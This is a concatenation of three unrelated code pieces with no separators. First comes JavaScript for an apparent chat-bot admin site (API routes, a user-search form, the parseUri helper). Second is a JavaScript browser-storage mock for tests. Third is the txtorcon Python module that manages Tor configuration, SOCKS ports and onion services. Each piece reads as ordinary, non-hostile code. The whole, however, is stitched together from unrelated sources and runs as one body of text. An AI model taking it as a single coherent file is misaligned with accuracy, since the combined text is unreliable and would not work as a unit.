$.fn.api.settings.api = { 'get_user': '/api/v1/user/{username}', 'pleblist_add_song': '/api/v1/pleblist/add', 'pleblist_validate': '/api/v1/pleblist/validate', 'pleblist_next_song': '/api/v1/pleblist/next', 'get_pleblist_songs': '/api/v1/pleblist/list', 'get_pleblist_songs_after': '/api/v1/pleblist/list/after/{id}', 'edit_command': '/api/v1/command/update/{id}', 'remove_command': '/api/v1/command/remove/{id}', 'check_alias': '/api/v1/command/checkalias', 'toggle_timer': '/api/v1/timer/toggle/{id}', 'remove_timer': '/api/v1/timer/remove/{id}', 'toggle_banphrase': '/api/v1/banphrase/toggle/{id}', 'remove_banphrase': '/api/v1/banphrase/remove/{id}', 'toggle_module': '/api/v1/module/toggle/{id}', }; $(document).ready(function() { $('#usersearch').form({ fields: { username: 'empty', }, onSuccess: function(settings) { document.location.href = '/user/'+$('#usersearch input.form-control.username').val(); return false; } }); }); // parseUri 1.2.2 // (c) Steven Levithan <stevenlevithan.com> // MIT License function parseUri (str) { var o = parseUri.options, m = o.parser[o.strictMode ? "strict" : "loose"].exec(str), uri = {}, i = 14; while (i--) uri[o.key[i]] = m[i] || ""; uri[o.q.name] = {}; uri[o.key[12]].replace(o.q.parser, function ($0, $1, $2) { if ($1) uri[o.q.name][$1] = $2; }); return uri; }; parseUri.options = { strictMode: false, key: ["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"], q: { name: "queryKey", parser: /(?:^|&)([^&=]*)=?([^&]*)/g }, parser: { strict: /^(?:([^:\/?#]+):)?(?:\/\/((?:(([^:@]*)(?::([^:@]*))?)?@)?([^:\/?#]*)(?::(\d*))?))?((((?:[^?#\/]*\/)*)([^?#]*))(?:\?([^#]*))?(?:#(.*))?)/, loose: /^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@]*)(?::([^:@]*))?)?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/ } };
class SessionStorageMock { constructor () { this.store = {} } clear () { this.store = {} } getItem (key) { return this.store[key] } setItem (key, value) { this.store[key] = value && value.toString() } removeItem (key) { this.store[key] = null } } global.sessionStorage = new SessionStorageMock() var localStorageMock = (function () { var store = {} return { getItem: function (key) { return store[key] }, setItem: function (key, value) { store[key] = value.toString() }, clear: function () { store = {} }, removeItem: function (key) { delete store[key] } } })() Object.defineProperty(window, 'localStorage', { value: localStorageMock })
# -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import print_function from __future__ import with_statement import os import re import six import functools import warnings from io import StringIO from collections import OrderedDict from warnings import warn from twisted.python import log from twisted.python.compat import nativeString from twisted.python.deprecate import deprecated from twisted.internet import defer from twisted.internet.endpoints import TCP4ClientEndpoint, UNIXClientEndpoint from txtorcon.torcontrolprotocol import parse_keywords, DEFAULT_VALUE from txtorcon.torcontrolprotocol import TorProtocolError from txtorcon.interface import ITorControlProtocol from txtorcon.util import find_keywords from .onion import IOnionClient, FilesystemOnionService, FilesystemAuthenticatedOnionService from .onion import DISCARD from .onion import AuthStealth, AuthBasic from .onion import EphemeralOnionService from .onion import _await_descriptor_upload from .onion import _parse_client_keys from .util import _Version @defer.inlineCallbacks @deprecated(_Version("txtorcon", 0, 18, 0)) def launch_tor(config, reactor, tor_binary=None, progress_updates=None, connection_creator=None, timeout=None, kill_on_stderr=True, stdout=None, stderr=None): """ Deprecated; use launch() instead. See also controller.py """ from .controller import launch # XXX FIXME are we dealing with options in the config "properly" # as far as translating semantics from the old launch_tor to # launch()? DataDirectory, User, ControlPort, ...? tor = yield launch( reactor, stdout=stdout, stderr=stderr, progress_updates=progress_updates, tor_binary=tor_binary, connection_creator=connection_creator, timeout=timeout, kill_on_stderr=kill_on_stderr, _tor_config=config, ) defer.returnValue(tor.process) class TorConfigType(object): """ Base class for all configuration types, which function as parsers and un-parsers. """ def parse(self, s): """ Given the string s, this should return a parsed representation of it. """ return s def validate(self, s, instance, name): """ If s is not a valid type for this object, an exception should be thrown. The validated object should be returned. """ return s class Boolean(TorConfigType): "Boolean values are stored as 0 or 1." def parse(self, s): if int(s): return True return False def validate(self, s, instance, name): if s: return 1 return 0 class Boolean_Auto(TorConfigType): """ weird class-name, but see the parser for these which is *mostly* just the classname <==> string from Tor, except for something called Boolean+Auto which is replace()d to be Boolean_Auto """ def parse(self, s): if s == 'auto' or int(s) < 0: return -1 if int(s): return 1 return 0 def validate(self, s, instance, name): # FIXME: Is 'auto' an allowed value? (currently not) s = int(s) if s < 0: return 'auto' elif s: return 1 else: return 0 class Integer(TorConfigType): def parse(self, s): return int(s) def validate(self, s, instance, name): return int(s) class SignedInteger(Integer): pass class Port(Integer): pass class TimeInterval(Integer): pass # not actually used? class TimeMsecInterval(TorConfigType): pass class DataSize(Integer): pass class Float(TorConfigType): def parse(self, s): return float(s) # unused also? class Time(TorConfigType): pass class CommaList(TorConfigType): def parse(self, s): return [x.strip() for x in s.split(',')] # FIXME: in latest master; what is it? # Tor source says "A list of strings, separated by commas and optional # whitespace, representing intervals in seconds, with optional units" class TimeIntervalCommaList(CommaList): pass # FIXME: is this really a comma-list? class RouterList(CommaList): pass class String(TorConfigType): pass class Filename(String): pass class LineList(TorConfigType): def parse(self, s): if isinstance(s, list): return [str(x).strip() for x in s] return [x.strip() for x in s.split('\n')] def validate(self, obj, instance, name): if not isinstance(obj, list): raise ValueError("Not valid for %s: %s" % (self.__class__, obj)) return _ListWrapper( obj, functools.partial(instance.mark_unsaved, name)) config_types = [Boolean, Boolean_Auto, LineList, Integer, SignedInteger, Port, TimeInterval, TimeMsecInterval, DataSize, Float, Time, CommaList, String, LineList, Filename, RouterList, TimeIntervalCommaList] def is_list_config_type(klass): return 'List' in klass.__name__ or klass.__name__ in ['HiddenServices'] def _wrapture(orig): """ Returns a new method that wraps orig (the original method) with something that first calls on_modify from the instance. _ListWrapper uses this to wrap all methods that modify the list. """ # @functools.wraps(orig) def foo(*args): obj = args[0] obj.on_modify() return orig(*args) return foo class _ListWrapper(list): """ Do some voodoo to wrap lists so that if you do anything to modify it, we mark the config as needing saving. FIXME: really worth it to preserve attribute-style access? seems to be okay from an exterior API perspective.... """ def __init__(self, thelist, on_modify_cb): list.__init__(self, thelist) self.on_modify = on_modify_cb __setitem__ = _wrapture(list.__setitem__) append = _wrapture(list.append) extend = _wrapture(list.extend) insert = _wrapture(list.insert) remove = _wrapture(list.remove) pop = _wrapture(list.pop) def __repr__(self): return '_ListWrapper' + super(_ListWrapper, self).__repr__() if six.PY2: setattr(_ListWrapper, '__setslice__', _wrapture(list.__setslice__)) class HiddenService(object): """ Because hidden service configuration is handled specially by Tor, we wrap the config in this class. This corresponds to the HiddenServiceDir, HiddenServicePort, HiddenServiceVersion and HiddenServiceAuthorizeClient lines from the config. If you want multiple HiddenServicePort lines, simply append more strings to the ports member. To create an additional hidden service, append a new instance of this class to the config (ignore the conf argument):: state.hiddenservices.append(HiddenService('/path/to/dir', ['80 127.0.0.1:1234'])) """ def __init__(self, config, thedir, ports, auth=[], ver=2, group_readable=0): """ config is the TorConfig to which this will belong, thedir corresponds to 'HiddenServiceDir' and will ultimately contain a 'hostname' and 'private_key' file, ports is a list of lines corresponding to HiddenServicePort (like '80 127.0.0.1:1234' to advertise a hidden service at port 80 and redirect it internally on 127.0.0.1:1234). auth corresponds to the HiddenServiceAuthenticateClient lines and can be either a string or a list of strings (like 'basic client0,client1' or 'stealth client5,client6') and ver corresponds to HiddenServiceVersion and is always 2 right now. XXX FIXME can we avoid having to pass the config object somehow? Like provide a factory-function on TorConfig for users instead? """ self.conf = config self.dir = thedir self.version = ver self.group_readable = group_readable # lazy-loaded if the @properties are accessed self._private_key = None self._clients = None self._hostname = None self._client_keys = None # HiddenServiceAuthorizeClient is a list # in case people are passing '' for the auth if not auth: auth = [] elif not isinstance(auth, list): auth = [auth] self.authorize_client = _ListWrapper( auth, functools.partial( self.conf.mark_unsaved, 'HiddenServices' ) ) # there are three magic attributes, "hostname" and # "private_key" are gotten from the dir if they're still None # when accessed. "client_keys" parses out any client # authorizations. Note that after a SETCONF has returned '250 # OK' it seems from tor code that the keys will always have # been created on disk by that point if not isinstance(ports, list): ports = [ports] self.ports = _ListWrapper(ports, functools.partial( self.conf.mark_unsaved, 'HiddenServices')) def __setattr__(self, name, value): """ We override the default behavior so that we can mark HiddenServices as unsaved in our TorConfig object if anything is changed. """ watched_params = ['dir', 'version', 'authorize_client', 'ports'] if name in watched_params and self.conf: self.conf.mark_unsaved('HiddenServices') if isinstance(value, list): value = _ListWrapper(value, functools.partial( self.conf.mark_unsaved, 'HiddenServices')) self.__dict__[name] = value @property def private_key(self): if self._private_key is None: with open(os.path.join(self.dir, 'private_key')) as f: self._private_key = f.read().strip() return self._private_key @property def clients(self): if self._clients is None: self._clients = [] try: with open(os.path.join(self.dir, 'hostname')) as f: for line in f.readlines(): args = line.split() # XXX should be a dict? if len(args) > 1: # tag, onion-uri? self._clients.append((args[0], args[1])) else: self._clients.append(('default', args[0])) except IOError: pass return self._clients @property def hostname(self): if self._hostname is None: with open(os.path.join(self.dir, 'hostname')) as f: data = f.read().strip() host = None for line in data.split('\n'): h = line.split(' ')[0] if host is None: host = h elif h != host: raise RuntimeError( ".hostname accessed on stealth-auth'd hidden-service " "with multiple onion addresses." ) self._hostname = h return self._hostname @property def client_keys(self): if self._client_keys is None: fname = os.path.join(self.dir, 'client_keys') self._client_keys = [] if os.path.exists(fname): with open(fname) as f: self._client_keys = _parse_client_keys(f) return self._client_keys def config_attributes(self): """ Helper method used by TorConfig when generating a torrc file. """ rtn = [('HiddenServiceDir', str(self.dir))] if self.conf._supports['HiddenServiceDirGroupReadable'] \ and self.group_readable: rtn.append(('HiddenServiceDirGroupReadable', str(1))) for port in self.ports: rtn.append(('HiddenServicePort', str(port))) if self.version: rtn.append(('HiddenServiceVersion', str(self.version))) for authline in self.authorize_client: rtn.append(('HiddenServiceAuthorizeClient', str(authline))) return rtn def _is_valid_keyblob(key_blob_or_type): try: key_blob_or_type = nativeString(key_blob_or_type) except (UnicodeError, TypeError): return False else: return re.match(r'[^ :]+:[^ :]+$', key_blob_or_type) # we can't use @deprecated here because then you can't use the # resulting class in isinstance() things and the like, because Twisted # makes it into a function instead :( so we @deprecate __init__ for now # @deprecated(_Version("txtorcon", 18, 0, 0)) class EphemeralHiddenService(object): ''' Deprecated as of 18.0.0. Please instead use :class:`txtorcon.EphemeralOnionService` This uses the ephemeral hidden-service APIs (in comparison to torrc or SETCONF). This means your hidden-service private-key is never in a file. It also means that when the process exits, that HS goes away. See documentation for ADD_ONION in torspec: https://gitweb.torproject.org/torspec.git/tree/control-spec.txt#n1295 ''' @deprecated(_Version("txtorcon", 18, 0, 0)) def __init__(self, ports, key_blob_or_type='NEW:BEST', auth=[], ver=2): # deprecated; use Tor.create_onion_service warn( 'EphemeralHiddenService is deprecated; use EphemeralOnionService instead', DeprecationWarning, ) if _is_valid_keyblob(key_blob_or_type): self._key_blob = nativeString(key_blob_or_type) else: raise ValueError( 'key_blob_or_type must be a string in the formats ' '"NEW:<ALGORITHM>" or "<ALGORITHM>:<KEY>"') if isinstance(ports, (six.text_type, str)): ports = [ports] self._ports = [x.replace(' ', ',') for x in ports] self._keyblob = key_blob_or_type self.auth = auth # FIXME ununsed # FIXME nicer than assert, plz self.version = ver self.hostname = None @defer.inlineCallbacks def add_to_tor(self, protocol): ''' Returns a Deferred which fires with 'self' after at least one descriptor has been uploaded. Errback if no descriptor upload succeeds. ''' upload_d = _await_descriptor_upload(protocol, self, progress=None, await_all_uploads=False) # _add_ephemeral_service takes a TorConfig but we don't have # that here .. and also we're just keeping this for # backwards-compatability anyway so instead of trying to # re-use that helper I'm leaving this original code here. So # this is what it supports and that's that: ports = ' '.join(map(lambda x: 'Port=' + x.strip(), self._ports)) cmd = 'ADD_ONION %s %s' % (self._key_blob, ports) ans = yield protocol.queue_command(cmd) ans = find_keywords(ans.split('\n')) self.hostname = ans['ServiceID'] + '.onion' if self._key_blob.startswith('NEW:'): self.private_key = ans['PrivateKey'] else: self.private_key = self._key_blob log.msg('Created hidden-service at', self.hostname) log.msg("Created '{}', waiting for descriptor uploads.".format(self.hostname)) yield upload_d @defer.inlineCallbacks def remove_from_tor(self, protocol): ''' Returns a Deferred which fires with None ''' r = yield protocol.queue_command('DEL_ONION %s' % self.hostname[:-6]) if r.strip() != 'OK': raise RuntimeError('Failed to remove hidden service: "%s".' % r) def _endpoint_from_socksport_line(reactor, socks_config): """ Internal helper. Returns an IStreamClientEndpoint for the given config, which is of the same format expected by the SOCKSPort option in Tor. """ if socks_config.startswith('unix:'): # XXX wait, can SOCKSPort lines with "unix:/path" still # include options afterwards? What about if the path has a # space in it? return UNIXClientEndpoint(reactor, socks_config[5:]) # options like KeepAliveIsolateSOCKSAuth can be appended # to a SocksPort line... if ' ' in socks_config: socks_config = socks_config.split()[0] if ':' in socks_config: host, port = socks_config.split(':', 1) port = int(port) else: host = '127.0.0.1' port = int(socks_config) return TCP4ClientEndpoint(reactor, host, port) class TorConfig(object): """This class abstracts out Tor's config, and can be used both to create torrc files from nothing and track live configuration of a Tor instance. Also, it gives easy access to all the configuration options present. This is initialized at "bootstrap" time, providing attribute-based access thereafter. Note that after you set some number of items, you need to do a save() before these are sent to Tor (and then they will be done as one SETCONF). You may also use this class to construct a configuration from scratch (e.g. to give to :func:`txtorcon.launch_tor`). In this case, values are reflected right away. (If we're not bootstrapped to a Tor, this is the mode). Note that you do not need to call save() if you're just using TorConfig to create a .torrc file or for input to launch_tor(). This class also listens for CONF_CHANGED events to update the cached data in the event other controllers (etc) changed it. There is a lot of magic attribute stuff going on in here (which might be a bad idea, overall) but the *intent* is that you can just set Tor options and it will all Just Work. For config items that take multiple values, set that to a list. For example:: conf = TorConfig(...) conf.SOCKSPort = [9050, 1337] conf.HiddenServices.append(HiddenService(...)) (Incoming objects, like lists, are intercepted and wrapped). FIXME: when is CONF_CHANGED introduced in Tor? Can we do anything like it for prior versions? FIXME: - HiddenServiceOptions is special: GETCONF on it returns several (well, two) values. Besides adding the two keys 'by hand' do we need to do anything special? Can't we just depend on users doing 'conf.hiddenservicedir = foo' AND 'conf.hiddenserviceport = bar' before a save() ? - once I determine a value is default, is there any way to actually get what this value is? """ @staticmethod @defer.inlineCallbacks def from_protocol(proto): """ This creates and returns a ready-to-go TorConfig instance from the given protocol, which should be an instance of TorControlProtocol. """ cfg = TorConfig(control=proto) yield cfg.post_bootstrap defer.returnValue(cfg) def __init__(self, control=None): self.config = {} '''Current configuration, by keys.''' if control is None: self._protocol = None self.__dict__['_accept_all_'] = None else: self._protocol = ITorControlProtocol(control) self.unsaved = OrderedDict() '''Configuration that has been changed since last save().''' self.parsers = {} '''Instances of the parser classes, subclasses of TorConfigType''' self.list_parsers = set(['hiddenservices', 'ephemeralonionservices']) '''All the names (keys from .parsers) that are a List of something.''' # during bootstrapping we decide whether we support the # following features. A thing goes in here if TorConfig # behaves differently depending upon whether it shows up in # "GETINFO config/names" self._supports = dict( HiddenServiceDirGroupReadable=False ) self._defaults = dict() self.post_bootstrap = defer.Deferred() if self.protocol: if self.protocol.post_bootstrap: self.protocol.post_bootstrap.addCallback( self.bootstrap).addErrback(self.post_bootstrap.errback) else: self.bootstrap() else: self.do_post_bootstrap(self) self.__dict__['_setup_'] = None def socks_endpoint(self, reactor, port=None): """ Returns a TorSocksEndpoint configured to use an already-configured SOCKSPort from the Tor we're connected to. By default, this will be the very first SOCKSPort. :param port: a str, the first part of the SOCKSPort line (that is, a port like "9151" or a Unix socket config like "unix:/path". You may also specify a port as an int. If you need to use a particular port that may or may not already be configured, see the async method :meth:`txtorcon.TorConfig.create_socks_endpoint` """ if len(self.SocksPort) == 0: raise RuntimeError( "No SOCKS ports configured" ) socks_config = None if port is None: socks_config = self.SocksPort[0] else: port = str(port) # in case e.g. an int passed in if ' ' in port: raise ValueError( "Can't specify options; use create_socks_endpoint instead" ) for idx, port_config in enumerate(self.SocksPort): # "SOCKSPort" is a gnarly beast that can have a bunch # of options appended, so we have to split off the # first thing which *should* be the port (or can be a # string like 'unix:') if port_config.split()[0] == port: socks_config = port_config break if socks_config is None: raise RuntimeError( "No SOCKSPort configured for port {}".format(port) ) return _endpoint_from_socksport_line(reactor, socks_config) @defer.inlineCallbacks def create_socks_endpoint(self, reactor, socks_config): """ Creates a new TorSocksEndpoint instance given a valid configuration line for ``SocksPort``; if this configuration isn't already in the underlying tor, we add it. Note that this method may call :meth:`txtorcon.TorConfig.save()` on this instance. Note that calling this with `socks_config=None` is equivalent to calling `.socks_endpoint` (which is not async). XXX socks_config should be .. i dunno, but there's fucking options and craziness, e.g. default Tor Browser Bundle is: ['9150 IPv6Traffic PreferIPv6 KeepAliveIsolateSOCKSAuth', '9155'] XXX maybe we should say "socks_port" as the 3rd arg, insist it's an int, and then allow/support all the other options (e.g. via kwargs) XXX we could avoid the "maybe call .save()" thing; worth it? (actually, no we can't or the Tor won't have it config'd) """ yield self.post_bootstrap if socks_config is None: if len(self.SocksPort) == 0: raise RuntimeError( "socks_port is None and Tor has no SocksPorts configured" ) socks_config = self.SocksPort[0] else: if not any([socks_config in port for port in self.SocksPort]): # need to configure Tor self.SocksPort.append(socks_config) try: yield self.save() except TorProtocolError as e: extra = '' if socks_config.startswith('unix:'): # XXX so why don't we check this for the # caller, earlier on? extra = '\nNote Tor has specific ownership/permissions ' +\ 'requirements for unix sockets and parent dir.' raise RuntimeError( "While configuring SOCKSPort to '{}', error from" " Tor: {}{}".format( socks_config, e, extra ) ) defer.returnValue( _endpoint_from_socksport_line(reactor, socks_config) ) # FIXME should re-name this to "tor_protocol" to be consistent # with other things? Or rename the other things? """ read-only access to TorControlProtocol. Call attach_protocol() to set it, which can only be done if we don't already have a protocol. """ def _get_protocol(self): return self.__dict__['_protocol'] protocol = property(_get_protocol) tor_protocol = property(_get_protocol) def attach_protocol(self, proto): """ returns a Deferred that fires once we've set this object up to track the protocol. Fails if we already have a protocol. """ if self._protocol is not None: raise RuntimeError("Already have a protocol.") # make sure we have nothing in self.unsaved self.save() self.__dict__['_protocol'] = proto # FIXME some of this is duplicated from ctor del self.__dict__['_accept_all_'] self.__dict__['post_bootstrap'] = defer.Deferred() if proto.post_bootstrap: proto.post_bootstrap.addCallback(self.bootstrap) return self.__dict__['post_bootstrap'] def __setattr__(self, name, value): """ we override this so that we can provide direct attribute access to our config items, and move them into self.unsaved when they've been changed. hiddenservices have to be special unfortunately. the _setup_ thing is so that we can set up the attributes we need in the constructor without uusing __dict__ all over the place. """ # appease flake8's hatred of lambda :/ def has_setup_attr(o): return '_setup_' in o.__dict__ def has_accept_all_attr(o): return '_accept_all_' in o.__dict__ def is_hidden_services(s): return s.lower() == "hiddenservices" if has_setup_attr(self): name = self._find_real_name(name) if not has_accept_all_attr(self) and not is_hidden_services(name): value = self.parsers[name].validate(value, self, name) if isinstance(value, list): value = _ListWrapper( value, functools.partial(self.mark_unsaved, name)) name = self._find_real_name(name) self.unsaved[name] = value else: super(TorConfig, self).__setattr__(name, value) def _maybe_create_listwrapper(self, rn): if rn.lower() in self.list_parsers and rn not in self.config: self.config[rn] = _ListWrapper([], functools.partial( self.mark_unsaved, rn)) def __getattr__(self, name): """ on purpose, we don't return self.unsaved if the key is in there because I want the config to represent the running Tor not ``things which might get into the running Tor if save() were to be called'' """ rn = self._find_real_name(name) if '_accept_all_' in self.__dict__ and rn in self.unsaved: return self.unsaved[rn] self._maybe_create_listwrapper(rn) v = self.config[rn] if v == DEFAULT_VALUE: v = self.__dict__['_defaults'].get(rn, DEFAULT_VALUE) return v def __contains__(self, item): if item in self.unsaved and '_accept_all_' in self.__dict__: return True return item in self.config def __iter__(self): ''' FIXME needs proper iterator tests in test_torconfig too ''' for x in self.config.__iter__(): yield x for x in self.__dict__['unsaved'].__iter__(): yield x def get_type(self, name): """ return the type of a config key. :param: name the key FIXME can we do something more-clever than this for client code to determine what sort of thing a key is? """ # XXX FIXME uhm...how to do all the different types of hidden-services? if name.lower() == 'hiddenservices': return FilesystemOnionService return type(self.parsers[name]) def _conf_changed(self, arg): """ internal callback. from control-spec: 4.1.18. Configuration changed The syntax is: StartReplyLine *(MidReplyLine) EndReplyLine StartReplyLine = "650-CONF_CHANGED" CRLF MidReplyLine = "650-" KEYWORD ["=" VALUE] CRLF EndReplyLine = "650 OK" Tor configuration options have changed (such as via a SETCONF or RELOAD signal). KEYWORD and VALUE specify the configuration option that was changed. Undefined configuration options contain only the KEYWORD. """ conf = parse_keywords(arg, multiline_values=False) for (k, v) in conf.items(): # v will be txtorcon.DEFAULT_VALUE already from # parse_keywords if it was unspecified real_name = self._find_real_name(k) if real_name in self.parsers: v = self.parsers[real_name].parse(v) self.config[real_name] = v def bootstrap(self, arg=None): ''' This only takes args so it can be used as a callback. Don't pass an arg, it is ignored. ''' try: d = self.protocol.add_event_listener( 'CONF_CHANGED', self._conf_changed) except RuntimeError: # for Tor versions which don't understand CONF_CHANGED # there's nothing we can really do. log.msg( "Can't listen for CONF_CHANGED event; won't stay up-to-date " "with other clients.") d = defer.succeed(None) d.addCallback(lambda _: self.protocol.get_info_raw("config/names")) d.addCallback(self._do_setup) d.addCallback(self.do_post_bootstrap) d.addErrback(self.do_post_errback) def do_post_errback(self, f): self.post_bootstrap.errback(f) return None def do_post_bootstrap(self, arg): if not self.post_bootstrap.called: self.post_bootstrap.callback(self) return self def needs_save(self): return len(self.unsaved) > 0 def mark_unsaved(self, name): name = self._find_real_name(name) if name in self.config and name not in self.unsaved: self.unsaved[name] = self.config[self._find_real_name(name)] def save(self): """ Save any outstanding items. This returns a Deferred which will errback if Tor was unhappy with anything, or callback with this TorConfig object on success. """ if not self.needs_save(): return defer.succeed(self) args = [] directories = [] for (key, value) in self.unsaved.items(): if key == 'HiddenServices': self.config['HiddenServices'] = value # using a list here because at least one unit-test # cares about order -- and conceivably order *could* # matter here, to Tor... services = list() # authenticated services get flattened into the HiddenServices list... for hs in value: if IOnionClient.providedBy(hs): parent = IOnionClient(hs).parent if parent not in services: services.append(parent) elif isinstance(hs, (EphemeralOnionService, EphemeralHiddenService)): raise ValueError( "Only filesystem based Onion services may be added" " via TorConfig.hiddenservices; ephemeral services" " must be created with 'create_onion_service'." ) else: if hs not in services: services.append(hs) for hs in services: for (k, v) in hs.config_attributes(): if k == 'HiddenServiceDir': if v not in directories: directories.append(v) args.append(k) args.append(v) else: raise RuntimeError("Trying to add hidden service with same HiddenServiceDir: %s" % v) else: args.append(k) args.append(v) continue if isinstance(value, list): for x in value: # FIXME XXX if x is not DEFAULT_VALUE: args.append(key) args.append(str(x)) else: args.append(key) args.append(value) # FIXME in future we should wait for CONF_CHANGED and # update then, right? real_name = self._find_real_name(key) if not isinstance(value, list) and real_name in self.parsers: value = self.parsers[real_name].parse(value) self.config[real_name] = value # FIXME might want to re-think this, but currently there's no # way to put things into a config and get them out again # nicely...unless you just don't assign a protocol if self.protocol: d = self.protocol.set_conf(*args) d.addCallback(self._save_completed) return d else: self._save_completed() return defer.succeed(self) def _save_completed(self, *args): '''internal callback''' self.__dict__['unsaved'] = {} return self def _find_real_name(self, name): keys = list(self.__dict__['parsers'].keys()) + list(self.__dict__['config'].keys()) for x in keys: if x.lower() == name.lower(): return x return name @defer.inlineCallbacks def _get_defaults(self): try: defaults_raw = yield self.protocol.get_info_raw("config/defaults") defaults = {} for line in defaults_raw.split('\n')[1:]: k, v = line.split(' ', 1) if k in defaults: if isinstance(defaults[k], list): defaults[k].append(v) else: defaults[k] = [defaults[k], v] else: defaults[k] = v except TorProtocolError: # must be a version of Tor without config/defaults defaults = dict() defer.returnValue(defaults) @defer.inlineCallbacks def _do_setup(self, data): defaults = self.__dict__['_defaults'] = yield self._get_defaults() for line in data.split('\n'): if line == "config/names=": continue (name, value) = line.split() if name in self._supports: self._supports[name] = True if name == 'HiddenServiceOptions': # set up the "special-case" hidden service stuff servicelines = yield self.protocol.get_conf_raw( 'HiddenServiceOptions') self._setup_hidden_services(servicelines) continue # there's a whole bunch of FooPortLines (where "Foo" is # "Socks", "Control", etc) and some have defaults, some # don't but they all have FooPortLines, FooPort, and # __FooPort definitions so we only "do stuff" for the # "FooPortLines" if name.endswith('PortLines'): rn = self._find_real_name(name[:-5]) self.parsers[rn] = String() # not Port() because options etc self.list_parsers.add(rn) v = yield self.protocol.get_conf(name[:-5]) v = v[name[:-5]] initial = [] if v == DEFAULT_VALUE or v == 'auto': try: initial = defaults[name[:-5]] except KeyError: default_key = '__{}'.format(name[:-5]) default = yield self.protocol.get_conf_single(default_key) if not default: initial = [] else: initial = [default] else: initial = [self.parsers[rn].parse(v)] self.config[rn] = _ListWrapper( initial, functools.partial(self.mark_unsaved, rn)) # XXX for Virtual check that it's one of the *Ports things # (because if not it should be an error) if value in ('Dependant', 'Dependent', 'Virtual'): continue # there's a thing called "Boolean+Auto" which is -1 for # auto, 0 for false and 1 for true. could be nicer if it # was called AutoBoolean or something, but... value = value.replace('+', '_') inst = None # FIXME: put parser classes in dict instead? for cls in config_types: if cls.__name__ == value: inst = cls() if not inst: raise RuntimeError("Don't have a parser for: " + value) v = yield self.protocol.get_conf(name) v = v[name] rn = self._find_real_name(name) self.parsers[rn] = inst if is_list_config_type(inst.__class__): self.list_parsers.add(rn) parsed = self.parsers[rn].parse(v) if parsed == [DEFAULT_VALUE]: parsed = defaults.get(rn, []) self.config[rn] = _ListWrapper( parsed, functools.partial(self.mark_unsaved, rn)) else: if v == '' or v == DEFAULT_VALUE: parsed = self.parsers[rn].parse(defaults.get(rn, DEFAULT_VALUE)) else: parsed = self.parsers[rn].parse(v) self.config[rn] = parsed # get any ephemeral services we own, or detached services. # these are *not* _ListWrappers because we don't care if they # change, nothing in Tor's config exists for these (probably # begging the question: why are we putting them in here at all # then...?) try: ephemeral = yield self.protocol.get_info('onions/current') except Exception: self.config['EphemeralOnionServices'] = [] else: onions = [] for line in ephemeral['onions/current'].split('\n'): onion = line.strip() if onion: onions.append( EphemeralOnionService( self, ports=[], # no way to discover ports= hostname=onion, private_key=DISCARD, # we don't know it, anyway version=2, detach=False, ) ) self.config['EphemeralOnionServices'] = onions try: detached = yield self.protocol.get_info('onions/detached') except Exception: self.config['DetachedOnionServices'] = [] else: onions = [] for line in detached['onions/detached'].split('\n'): onion = line.strip() if onion: onions.append( EphemeralOnionService( self, ports=[], # no way to discover original ports= hostname=onion, detach=True, private_key=DISCARD, ) ) self.config['DetachedOnionServices'] = onions defer.returnValue(self) def _setup_hidden_services(self, servicelines): def maybe_add_hidden_service(): if directory is not None: if directory not in directories: directories.append(directory) if not auth: service = FilesystemOnionService( self, directory, ports, ver, group_read ) hs.append(service) else: auth_type, clients = auth.split(' ', 1) clients = clients.split(',') if auth_type == 'basic': auth0 = AuthBasic(clients) elif auth_type == 'stealth': auth0 = AuthStealth(clients) else: raise ValueError( "Unknown auth type '{}'".format(auth_type) ) parent_service = FilesystemAuthenticatedOnionService( self, directory, ports, auth0, ver, group_read ) for client_name in parent_service.client_names(): hs.append(parent_service.get_client(client_name)) else: raise RuntimeError("Trying to add hidden service with same HiddenServiceDir: %s" % directory) hs = [] directory = None directories = [] ports = [] ver = None group_read = None auth = None for line in servicelines.split('\n'): if not len(line.strip()): continue if line == 'HiddenServiceOptions': continue k, v = line.split('=') if k == 'HiddenServiceDir': maybe_add_hidden_service() directory = v _directory = directory directory = os.path.abspath(directory) if directory != _directory: warnings.warn( "Directory path: %s changed to absolute path: %s" % (_directory, directory), RuntimeWarning ) ports = [] ver = None auth = None group_read = 0 elif k == 'HiddenServicePort': ports.append(v) elif k == 'HiddenServiceVersion': ver = int(v) elif k == 'HiddenServiceAuthorizeClient': if auth is not None: # definitely error, or keep going? raise ValueError("Multiple HiddenServiceAuthorizeClient lines for one service") auth = v elif k == 'HiddenServiceDirGroupReadable': group_read = int(v) else: raise RuntimeError("Can't parse HiddenServiceOptions: " + k) maybe_add_hidden_service() name = 'HiddenServices' self.config[name] = _ListWrapper( hs, functools.partial(self.mark_unsaved, name)) def config_args(self): ''' Returns an iterator of 2-tuples (config_name, value), one for each configuration option in this config. This is more-or-less an internal method, but see, e.g., launch_tor()'s implementation if you think you need to use this for something. See :meth:`txtorcon.TorConfig.create_torrc` which returns a string which is also a valid ``torrc`` file ''' everything = dict() everything.update(self.config) everything.update(self.unsaved) for (k, v) in list(everything.items()): if type(v) is _ListWrapper: if k.lower() == 'hiddenservices': for x in v: for (kk, vv) in x.config_attributes(): yield (str(kk), str(vv)) else: # FIXME actually, is this right? don't we want ALL # the values in one string?! for x in v: yield (str(k), str(x)) else: yield (str(k), str(v)) def create_torrc(self): rtn = StringIO() for (k, v) in self.config_args(): rtn.write(u'%s %s\n' % (k, v)) return rtn.getvalue()
